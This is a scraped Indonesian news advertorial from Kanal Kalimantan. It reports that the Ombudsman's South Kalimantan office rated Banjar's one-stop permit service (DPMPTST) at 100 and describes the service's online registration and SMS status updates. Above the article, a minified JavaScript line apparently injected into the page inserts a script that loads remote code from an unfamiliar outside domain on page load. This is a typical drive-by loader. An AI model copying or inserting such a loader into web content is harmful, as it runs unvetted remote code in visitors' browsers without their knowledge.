(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Pelayanan di DPMPTST Banjar Diberi Nilai 100 Oleh Ombudsman RI Perwakilan Kalsel


MARTAPURA, Berdasarkan hasil pelaporan pelayanan publik di Kabupaten Banjar kepada pihak Ombudsman RI Perwakilan Kalsel, tingkat pelayanan publik sejumlah instansi di Kabupaten Banjar masuk dalam kategori sedang.

Ombudsman RI Perwakilan Kalsel memberikan nilai tertinggi atau rata-rata 100 atas tingkat pelayanan publik instansi paling baik di Pemkab Banjar oleh Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTST) Kabupaten Banjar.

Kepala DPMPTST Drs Akhmad Hairuddin Fahri MM menjelaskan kepada Kanal Kalimantan untuk proses pelayanan yang diberikan pihak DPMPTST Kabupaten Banjar pertama

masyarakat datang langsung atau secara online untuk melakukan pendaftaran permohonan berkas perizinan dan setelah semua berkas diterima  dan dianggap sudah lengkap, maka pemohon akan diberikan bukti tanda terima. Kedua setiap perkembangan kegiatan kemajuan proses permohonan mereka akan selalu diberi informasi melalui SMS gateway atas sejauh mana proses kemajuan perkembangan berkas tersebut.

“Sudah sampai dimana berkas itu selalu kita sampaikan, apakah sudah di tanda tangani oleh kepala dinas atau bidang hingga penerbitan,” ujar Fahri, Rabu (24/1).

Fahri menjelaskan, untuk waktu peroses penyelesaian pemberkasan berbeda-beda tergantung tujuan pemberkasan tersebut. “Namun kami selalu menyesuaikan berdasarkan SOP yang sudah ditentukan yaitu antara 7 hari sampai 14 hari,” ungkap Fahri.

Pihak DPMPTST Kabupaten Banjar mengatakan akan terus meningkatkan dan mengoptimalkan pelayanan kepada masyarakat yang mengajukan perizinan.

“Kedepan kami akan meminimalisir hubungan langsung, yaitu lewat sistem pendaptaran online atau sistem digital,” ujar Fahri.

Sebelumnya, Ketua Ombudsman RI Perwakilan Kalsel Nurholis Majid saat menjadi narasumber di acara Rakor pendamping desa P3MD se Kabupaten Banjar menyampaikan hasil penilaian kepatuhan standar pelayanan publik sesuai dengan UUD No 25 Tahun 2009 serta kordinasi laporan masyarakat Desa Lok Buntur, Selasa (23/1).

Nurcholis Majid hanya menyebut satu dinas yang mematuhi undang-undang pelayanan publik dengan nilai yang sangat baik dan memuaskan dan dapat ditiru oleh instansi lain. Yaitu Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu Kabupaten Banjar dari 30 layanan dengan hasil semua pelayanan rata-rata mencapai nilai 100,00. (rendy)

Reporter: Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Ragam Kerajinan Rotan Merah Mejeng di Expo HUT ke-44 Dekranas

KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More

3 menit ago

Pj Bupati Erlin Hardi Berdialog dengan Mahasiswa Kapuas di Yogya

KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More

2 jam ago

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

3 jam ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

16 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

16 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

16 jam ago

This website uses cookies.